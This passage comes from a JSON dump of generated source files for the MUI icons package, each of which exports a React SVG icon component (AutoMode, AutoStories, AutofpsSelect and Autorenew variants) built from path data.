2.44-1.1c.39-.18.39-.73 0-.91l-2.44-1.11L12.46 8c-.18-.39-.73-.39-.91 0l-1.11 2.44L8 11.54c-.39.18-.39.74 0 .92\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H6c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1v-1.7c1.99 2.84 5.27 4.7 9 4.7 4.45 0 8.27-2.64 10-6.43.26-.57-.08-1.25-.69-1.39-.45-.1-.93.11-1.12.54C18.77 18.83 15.64 21 12 21\"\n}, \"1\")], 'AutoModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.03 3.56c-1.67-1.39-3.74-2.3-6.03-2.51v2.01c1.73.19 3.31.88 4.61 1.92zM11 3.06V1.05c-2.29.2-4.36 1.12-6.03 2.51l1.42 1.42C7.69 3.94 9.27 3.25 11 3.06M4.98 6.39 3.56 4.97C2.17 6.64 1.26 8.71 1.05 11h2.01c.19-1.73.88-3.31 1.92-4.61M20.94 11h2.01c-.21-2.29-1.12-4.36-2.51-6.03l-1.42 1.42c1.04 1.3 1.73 2.88 1.92 4.61M7 12l3.44 1.56L12 17l1.56-3.44L17 12l-3.44-1.56L12 7l-1.56 3.44z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 21c-3.11 0-5.85-1.59-7.46-4H7v-2H1v6h2v-2.7c1.99 2.84 5.27 4.7 9 4.7 4.87 0 9-3.17 10.44-7.56l-1.96-.45C19.25 18.48 15.92 21 12 21\"\n}, \"1\")], 'AutoModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStories.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 1-5 5v11l5-4.5zM1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5V6c-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6m22 13.5V6c-.6-.45-1.25-.75-2-1v13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5v2c1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5z\"\n}), 'AutoStories');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStories.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 1-5 5v11l5-4.5zM1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5V6c-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6m22 13.5V6c-.6-.45-1.25-.75-2-1v13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5v2c1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5z\"\n}), 'AutoStories');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.47 5.2c-.47-.24-.96-.44-1.47-.61v12.03c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4c-1.79 0-3.48.44-4.97 1.2-.33.16-.53.51-.53.88v12.08c0 .58.47.99 1 .99q.24 0 .48-.12C3.69 18.4 5.05 18 6.5 18c2.07 0 3.98.82 5.5 2 1.52-1.18 3.43-2 5.5-2 1.45 0 2.81.4 4.02 1.04q.24.12.48.12c.52 0 1-.41 1-.99V6.08c0-.37-.2-.72-.53-.88M10 16.62C8.86 16.21 7.69 16 6.5 16s-2.36.21-3.5.62V6.71C4.11 6.24 5.28 6 6.5 6c1.2 0 2.39.25 3.5.72zM19 .5l-5 5V15l5-4.5z\"\n}), 'AutoStoriesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.47 5.2c-.47-.24-.96-.44-1.47-.61v12.03c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4c-1.79 0-3.48.44-4.97 1.2-.33.16-.53.51-.53.88v12.08c0 .58.47.99 1 .99q.24 0 .48-.12C3.69 18.4 5.05 18 6.5 18c2.07 0 3.98.82 5.5 2 1.52-1.18 3.43-2 5.5-2 1.45 0 2.81.4 4.02 1.04q.24.12.48.12c.52 0 1-.41 1-.99V6.08c0-.37-.2-.72-.53-.88M10 16.62C8.86 16.21 7.69 16 6.5 16s-2.36.21-3.5.62V6.71C4.11 6.24 5.28 6 6.5 6c1.2 0 2.39.25 3.5.72zM19 .5l-5 5V15l5-4.5z\"\n}), 'AutoStoriesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.15 1.35-4 4q-.15.15-.15.36v8.17c0 .43.51.66.83.37l4-3.6c.11-.09.17-.23.17-.37V1.71c0-.45-.54-.67-.85-.36m4.32 3.85c-.47-.24-.96-.44-1.47-.61v12.03c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4c-1.79 0-3.48.44-4.97 1.2-.33.16-.53.51-.53.88v12.08c0 .76.81 1.23 1.48.87C3.69 18.4 5.05 18 6.5 18c2.07 0 3.98.82 5.5 2 1.52-1.18 3.43-2 5.5-2 1.45 0 2.81.4 4.02 1.04.67.36 1.48-.11 1.48-.87V6.08c0-.37-.2-.72-.53-.88\"\n}), 'AutoStoriesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.15 1.35-4 4q-.15.15-.15.36v8.17c0 .43.51.66.83.37l4-3.6c.11-.09.17-.23.17-.37V1.71c0-.45-.54-.67-.85-.36m4.32 3.85c-.47-.24-.96-.44-1.47-.61v12.03c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4c-1.79 0-3.48.44-4.97 1.2-.33.16-.53.51-.53.88v12.08c0 .76.81 1.23 1.48.87C3.69 18.4 5.05 18 6.5 18c2.07 0 3.98.82 5.5 2 1.52-1.18 3.43-2 5.5-2 1.45 0 2.81.4 4.02 1.04.67.36 1.48-.11 1.48-.87V6.08c0-.37-.2-.72-.53-.88\"\n}), 'AutoStoriesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4.6v12.02c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4S2.62 4.55 1 5.48V20c1.52-1.18 3.43-2 5.5-2s3.98.82 5.5 2c1.52-1.18 3.43-2 5.5-2s3.98.82 5.5 2V5.48c-.63-.36-1.3-.64-2-.88\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 .5-5 5V15l5-4.5z\"\n}, \"1\")], 'AutoStoriesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4.6v12.02c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4S2.62 4.55 1 5.48V20c1.52-1.18 3.43-2 5.5-2s3.98.82 5.5 2c1.52-1.18 3.43-2 5.5-2s3.98.82 5.5 2V5.48c-.63-.36-1.3-.64-2-.88\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 .5-5 5V15l5-4.5z\"\n}, \"1\")], 'AutoStoriesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6.71v9.91c1.14-.41 2.31-.62 3.5-.62s2.36.21 3.5.62v-9.9C8.89 6.25 7.7 6 6.5 6c-1.22 0-2.39.24-3.5.71\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 .5-5 5V15l5-4.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.47 5.2c-.47-.24-.96-.44-1.47-.61v12.03c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4c-1.79 0-3.48.44-4.97 1.2-.33.16-.53.51-.53.88v12.08c0 .58.47.99 1 .99q.24 0 .48-.12C3.69 18.4 5.05 18 6.5 18c2.07 0 3.98.82 5.5 2 1.52-1.18 3.43-2 5.5-2 1.45 0 2.81.4 4.02 1.04q.24.12.48.12c.52 0 1-.41 1-.99V6.08c0-.37-.2-.72-.53-.88M10 16.62C8.86 16.21 7.69 16 6.5 16s-2.36.21-3.5.62V6.71C4.11 6.24 5.28 6 6.5 6c1.2 0 2.39.25 3.5.72z\"\n}, \"2\")], 'AutoStoriesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoStoriesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6.71v9.91c1.14-.41 2.31-.62 3.5-.62s2.36.21 3.5.62v-9.9C8.89 6.25 7.7 6 6.5 6c-1.22 0-2.39.24-3.5.71\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 .5-5 5V15l5-4.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.47 5.2c-.47-.24-.96-.44-1.47-.61v12.03c-1.14-.41-2.31-.62-3.5-.62-1.9 0-3.78.54-5.5 1.58V5.48C10.38 4.55 8.51 4 6.5 4c-1.79 0-3.48.44-4.97 1.2-.33.16-.53.51-.53.88v12.08c0 .58.47.99 1 .99q.24 0 .48-.12C3.69 18.4 5.05 18 6.5 18c2.07 0 3.98.82 5.5 2 1.52-1.18 3.43-2 5.5-2 1.45 0 2.81.4 4.02 1.04q.24.12.48.12c.52 0 1-.41 1-.99V6.08c0-.37-.2-.72-.53-.88M10 16.62C8.86 16.21 7.69 16 6.5 16s-2.36.21-3.5.62V6.71C4.11 6.24 5.28 6 6.5 6c1.2 0 2.39.25 3.5.72z\"\n}, \"2\")], 'AutoStoriesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1m8-7c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m0-10c.38 0 .71.23.85.59l2.12 5.65c.14.37-.13.76-.53.76-.24 0-.45-.15-.53-.38l-.49-1.41h-2.83l-.5 1.41c-.08.23-.29.38-.53.38-.39 0-.67-.39-.53-.76l2.12-5.65c.14-.36.47-.59.85-.59M8 22c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1m4 0c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1m3-4v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1\"\n}, \"1\")], 'AutofpsSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1m8-7c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m0-10c.38 0 .71.23.85.59l2.12 5.65c.14.37-.13.76-.53.76-.24 0-.45-.15-.53-.38l-.49-1.41h-2.83l-.5 1.41c-.08.23-.29.38-.53.38-.39 0-.67-.39-.53-.76l2.12-5.65c.14-.36.47-.59.85-.59M8 22c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1m4 0c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1m3-4v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1\"\n}, \"1\")], 'AutofpsSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutofpsSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.03 6.3h-.06l-1.02 2.89h2.1zM3 17h2v5H3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.63-10h1.25l2.63 7h-1.21l-.63-1.79h-2.83L9.96 12H8.74zM7 17h2v5H7zm4 0h2v5h-2zm4 0h6v5h-6z\"\n}, \"1\")], 'AutofpsSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Autorenew.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6v3l4-4-4-4v3c-4.42 0-8 3.58-8 8 0 1.57.46 3.03 1.24 4.26L6.7 14.8c-.45-.83-.7-1.79-.7-2.8 0-3.31 2.69-6 6-6m6.76 1.74L17.3 9.2c.44.84.7 1.79.7 2.8 0 3.31-2.69 6-6 6v-3l-4 4 4 4v-3c4.42 0 8-3.58 8-8 0-1.57-.46-3.03-1.24-4.26\"\n}), 'Autorenew');"
  },
  {
    "path": "packages/mui-icons-material/lib/Autorenew.mjs",
